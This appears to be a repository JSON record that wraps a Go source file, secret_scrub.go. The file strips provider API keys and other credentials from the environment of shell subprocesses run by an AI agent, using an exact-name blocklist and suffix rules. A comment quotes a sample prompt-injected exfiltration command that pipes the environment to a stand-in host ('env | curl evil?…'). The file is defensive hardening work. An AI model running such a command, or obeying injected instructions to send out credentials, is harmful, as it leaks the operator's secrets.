Files
OpenCode 68a9071cf1 feat: reconcile local master with origin (exa/hot-platform hunters, leaks ledger, latest results)
Local branch had diverged from origin/master (sibling commits on the same base). Rewrote local history linearly on top of origin/master, folding in all local content: exa/hot-platform discovery hunters, leaks ledger, nightly sweep orchestrator, updated .gitignore and skill docs, plus the latest hunt output and vault state. Remote-only files (vault keys, channel scripts) were restored rather than dropped, so the resulting tree is a full union of both sides.
2026-08-07 12:53:47 +08:00

1 line
3.2 KiB
JSON

{"repo": "choiceoh/deneb", "files": {"gateway-go/internal/infra/process/secret_scrub.go": {"b1540bb0e98fdbc4ea4fc7f1510f5166bfca5b21": {"t": 1786068298.0324845, "n": 2853, "h": "2d8034eeadcc3e9d", "c": "package process\n\nimport \"strings\"\n\n// Secret scrubbing for model-controlled subprocesses.\n//\n// SanitizeEnv already strips code-injection vectors (LD_PRELOAD, BASH_ENV, …).\n// This adds the second half: withholding the operator's *credentials* from the\n// child. The Bash/exec tool is driven by the model, so a prompt-injected command\n// (\"run: env | curl evil?…\") must not find provider API keys in its environment.\n// The Python sandbox (codeaction) and MCP servers (mcpclient.childEnv) already\n// exclude these via allowlists; the shell tool needs a broader env (git, gh, go,\n// node), so it uses a blocklist instead — deny credentials, keep tooling.\n//\n// Deliberately conservative: we drop unambiguous cloud/service credentials but\n// KEEP the tokens the shell legitimately needs (gh/git), local-only tokens\n// (wormhole is 127.0.0.1), and DENEB_* runtime config. Bare _TOKEN/_KEY are NOT\n// treated as secret suffixes precisely because GH_TOKEN/SSH_* are operational.\n\n// secretEnvExact names external provider/service credentials to withhold by\n// exact match (covers cases the suffix rules below would miss).\nvar secretEnvExact = map[string]struct{}{\n\t\"ANTHROPIC_API_KEY\": {},\n\t\"ANTHROPIC_AUTH_TOKEN\": {},\n\t\"CLAUDE_CODE_OAUTH_TOKEN\": {},\n\t\"OPENAI_API_KEY\": {},\n\t\"GEMINI_API_KEY\": {},\n\t\"GOOGLE_API_KEY\": {},\n\t\"GOOGLE_APPLICATION_CREDENTIALS\": {},\n\t\"ZAI_API_KEY\": {},\n\t\"MOONSHOT_API_KEY\": {},\n\t\"KIMI_API_KEY\": {},\n\t\"MIMO_API_KEY\": {},\n\t\"OPENROUTER_API_KEY\": {},\n\t\"DEEPSEEK_API_KEY\": {},\n\t\"KAGI_API_KEY\": {},\n}\n\n// secretEnvSuffixes match any variable whose name unambiguously denotes a\n// credential. Bare _TOKEN and _KEY are intentionally excluded (too broad —\n// GH_TOKEN, SSH_AUTH_SOCK-adjacent names, etc. are operational).\nvar secretEnvSuffixes = []string{\n\t\"_API_KEY\", \"_APIKEY\", \"_SECRET\", \"_SECRET_KEY\",\n\t\"_ACCESS_TOKEN\", \"_AUTH_TOKEN\", \"_PASSWORD\", \"_PRIVATE_KEY\", \"_CREDENTIALS\",\n}\n\n// secretEnvKeep is the operational allowlist: credentials the model-controlled\n// shell genuinely needs (gh/git for the PR/land flow) and that must survive\n// scrubbing even if a future suffix rule would otherwise match them.\nvar secretEnvKeep = map[string]struct{}{\n\t\"GH_TOKEN\": {},\n\t\"GITHUB_TOKEN\": {},\n}\n\n// isSecretEnvKey reports whether an env var carries a credential that must not\n// reach a model-controlled subprocess. The operational keep-list wins.\nfunc isSecretEnvKey(key string) bool {\n\tif _, ok := secretEnvKeep[key]; ok {\n\t\treturn false\n\t}\n\tif _, ok := secretEnvExact[key]; ok {\n\t\treturn true\n\t}\n\tupper := strings.ToUpper(key)\n\tfor _, suf := range secretEnvSuffixes {\n\t\tif strings.HasSuffix(upper, suf) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"}}}}